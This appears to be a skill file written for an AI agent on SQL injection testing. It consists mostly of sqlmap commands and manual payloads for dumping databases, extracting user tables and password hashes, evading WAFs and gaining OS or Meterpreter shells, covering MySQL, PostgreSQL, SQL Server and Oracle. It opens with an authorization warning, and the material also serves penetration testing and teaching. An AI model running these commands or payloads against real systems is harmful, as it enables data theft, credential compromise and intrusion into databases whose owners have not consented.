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name: exploit-sqli description: SQL injection detection and exploitation using sqlmap, manual techniques, and custom payloads. Use this skill when user needs to test for SQL injection vulnerabilities, extract database information, or exploit SQLi in parameters, headers, or cookies.

SQL Injection Detection & Exploitation

Authorization Warning

DANGER: SQL injection testing can damage or destroy data in production databases. Always ensure you have:

• Written permission from the target application owner
• Isolated testing environment
• Backups of affected systems
• Legal compliance with local regulations

Never test SQL injection on production databases without authorization.

Prerequisites

Required tools that must be installed on your system:

• sqlmap - pip install sqlmap or git clone https://github.com/sqlmapproject/sqlmap

Optional tools:

• BBQSQL - Semi-automated SQL injection tool
• NoSQLMap - NoSQL injection testing

Quick Start

Most commonly used commands for SQL injection testing:

Automated SQLMap Scan

sqlmap -u "https://target.com/page?id=1"

POST Request Testing

sqlmap -u "https://target.com/login" --data="username=admin&password=test"

Cookie Testing

sqlmap -u "https://target.com" --cookie="sessionid=abc123"

Common Scenarios

Scenario 1: Basic Parameter Testing

When you need to test a URL parameter for SQL injection:

sqlmap -u "https://target.com/page?id=1"

Parameters:

• -u - Target URL
• -p - Specific parameter to test (default: all)
• --batch - Avoid interactive prompts
• --random-agent - Use random User-Agent

Example:

sqlmap -u "https://target.com/vuln.php?id=1" --batch --random-agent

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Scenario 2: POST Request Injection

When you need to test POST body parameters:

sqlmap -u "https://target.com/login" --data="username=admin&password=test"

From file:

sqlmap -u "https://target.com/login" -d post_data.txt

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Scenario 3: Cookie/Header Injection

When you need to test cookies or headers:

# Cookie injection
sqlmap -u "https://target.com" --cookie="sessionid=abc123"

# User-Agent injection
sqlmap -u "https://target.com" --headers="User-Agent: sqlmap"

# Referer injection
sqlmap -u "https://target.com" --referer="https://evil.com"

Multiple headers:

sqlmap -u "https://target.com" -H "Cookie:id=1" -H "User-Agent: test"

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Scenario 4: Specific DBMS Testing

When you know or suspect the database type:

sqlmap -u "https://target.com/page?id=1" --dbms=mysql
sqlmap -u "https://target.com/page?id=1" --dbms=postgresql
sqlmap -u "https://target.com/page?id=1" --dbms=sqlserver
sqlmap -u "https://target.com/page?id=1" --dbms=oracle

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Scenario 5: Database Enumeration

When you need to extract database information:

# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

# List tables
sqlmap -u "https://target.com/page?id=1" -D dbname --tables

# Dump table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump

# Dump all
sqlmap -u "https://target.com/page?id=1" --dump-all

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Scenario 6: User Enumeration

When you need to extract user credentials:

# Enumerate database users
sqlmap -u "https://target.com/page?id=1" --users

# Extract password hashes
sqlmap -u "https://target.com/page?id=1" --passwords

# Dump users table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users -C username,password --dump

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Scenario 7: Union-Based SQL Injection

Manual testing for Union-based SQLi:

# Test for SQL injection with payload
https://target.com/page?id=1' OR '1'='1
https://target.com/page?id=1' UNION SELECT 1,2,3--
https://target.com/page?id=1' UNION SELECT NULL,version(),NULL--

Determine column count:

id=1' ORDER BY 1--
id=1' ORDER BY 2--
id=1' ORDER BY 3--

Check for string vs integer:

id=1' UNION SELECT 1,'2',3--
id=1' UNION SELECT 1,NULL,NULL--

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Scenario 8: Error-Based SQL Injection

When error messages are displayed:

# MySQL error injection
id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--
id=1' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)--
id=1' AND exp(~(SELECT * FROM (SELECT database())a))--

# PostgreSQL error injection
id=1' AND cast(version() as int)--
id=1'; CAST(version() AS INT)--

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Scenario 9: Blind SQL Injection

When no error messages are returned:

Boolean-based:

id=1' AND 1=1--
id=1' AND 1=2--

Time-based (MySQL):

id=1' AND SLEEP(5)--
id=1' AND BENCHMARK(5000000, MD5(1))--

Time-based (PostgreSQL):

id=1'; SELECT pg_sleep(5)--
id=1'; SELECT extract(epoch from now())-

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Scenario 10: WAF Evasion

When WAF blocks injection attempts:

# Use tamper scripts
sqlmap -u "https://target.com/page?id=1" --tamper=space2comments

# Use random agent
sqlmap -u "https://target.com/page?id=1" --random-agent

# Different level
sqlmap -u "https://target.com/page?id=1" --level=1 --risk=1

# Specific technique
sqlmap -u "https://target.com/page?id=1" --technique=U

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Injection Testing Workflow

1. Initial Detection

# Automated scan
sqlmap -u "https://target.com/page?id=1" --batch

# Manual quick test
curl "https://target.com/page?id=1'" | grep -i "sql\|mysql\|syntax"
curl "https://target.com/page?id=1\" OR \"1\"=\"2" | grep -i "error"

2. Confirmation

# Confirm with multiple payloads
curl "https://target.com/page?id=1 AND 1=1"
curl "https://target.com/page?id=1 AND 1=2"
curl "https://target.com/page?id=1' OR '1'='1"

3. Fingerprint Database

sqlmap -u "https://target.com/page?id=1" --current-user

4. Enumeration

# Get database info
sqlmap -u "https://target.com/page?id=1" --hostname --current-db --is-dba

# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

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SQLMap Options Reference

Option	Description
-u	Target URL
-r	Parse log file
-l	Load from file
-m	Scan multiple targets
-p	Test specific parameters
--skip	Skip parameters
--dbms	Force DBMS
--os	Force OS
--tamper	Tamper script
--level	Test level (1-5)
--risk	Risk level (1-3)
--technique	Specific technique (B/E/U/S/T)
--batch	Non-interactive
--random-agent	Random User-Agent
--proxy	Use proxy
--delay	Delay between requests
--timeout	Request timeout
--retries	Retry attempts
--string	Match string
--not-string	Not match string
--regexp	Regexp filter
--grep	Regexp filter for pages
--crawl	Crawl site
--forms	Parse forms
--cookie	Cookie value
--headers	Extra headers
--user-agent	Custom User-Agent
--method	Force method
--data	POST data
-d	POST data from file
--dbs	Enumerate databases
--tables	Enumerate tables
--columns	Enumerate columns
--schema	Enumerate schema
--dump	Dump data
--dump-all	Dump all
--search	Search
--users	Enumerate DB users
--passwords	Enumerate password hashes
--priv-esc	Privilege escalation
--os-shell	OS shell
--os-pwn	Meterpreter/OBM shell
--sql-shell	SQL shell
--wizard	Wizard mode
-v	Verbosity (0-6)

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Manual Payloads

MySQL Payloads

-- Version detection
' UNION SELECT @@version--

-- Current user
' UNION SELECT user()--

-- Current database
' UNION SELECT database()--

-- All databases
' UNION SELECT schema_name FROM information_schema.schemata--

-- Tables from database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

-- Columns from table
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Concatenate data
' UNION SELECT CONCAT(username,0x3a,password) FROM users--

PostgreSQL Payloads

-- Version
' UNION SELECT version()--

-- Current user
' UNION SELECT user--

-- Current database
' UNION SELECT current_database()--

-- All databases
' UNION SELECT datname FROM pg_database--

-- Tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

SQL Server Payloads

-- Version
' UNION SELECT @@version--

-- Database
' UNION SELECT DB_NAME()--

-- Tables
' UNION SELECT table_name FROM information_schema.tables--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Databases
' UNION SELECT name FROM master..sysdatabases--

Oracle Payloads

-- Version
' UNION SELECT banner FROM v$version--

-- Tables
' UNION SELECT table_name FROM all_tables WHERE owner=USER--

-- Columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--

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Testing Checklist

• URL parameters
• POST parameters
• Cookies
• User-Agent
• Referer
• X-Forwarded-For
• Accept headers
• JSON body fields
• GraphQL queries
• API endpoints

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Scenario: Persistent Storage of SQL Injection Findings

When you need to persist SQL injection findings to the database:

# Manual entry after discovering SQL injection
python .claude/skills/exploit-sqli/scripts/sqli_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/login?id=1" \
  --parameter id \
  --payload "1' OR '1'='1" \
  --severity Critical \
  --cvss-score 9.8 \
  --db-type MySQL \
  --subsystem "Web Application"

Parameters:

• --host-ip - Target host IP (required)
• --url - Vulnerable URL (required)
• --parameter - Vulnerable parameter name (required)
• --payload - Payload used (required)
• --severity - Severity level (default: High)
• --cvss-score - CVSS score (0.0-10.0)
• --db-type - Database type (e.g., MySQL, PostgreSQL)
• --subsystem - Subsystem name (optional)
• --title - Vulnerability title (auto-generated if not specified)
• --description - Vulnerability description

Database location: ./data/results.db

Related skills: results-storage - Query data, generate reports

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Resources

Scripts

• scripts/sqli_payload_generator.py - Generate SQL injection payloads
• scripts/boolean_sqli_tester.py - Test blind SQL injection
• scripts/response_analyzer.py - Analyze responses for injection clues

References

• references/sqlmap_guide.md - Comprehensive SQLMap reference
• references/manual_sqli_techniques.md - Manual injection techniques
• references/nosql_injection.md - NoSQL injection guide

Assets

• assets/common_error_payloads.txt - Common error-based payloads
• assets/time-based_payloads.txt - Time-based blind payloads
• assets/dbms_fingerprints.txt - Database fingerprinting patterns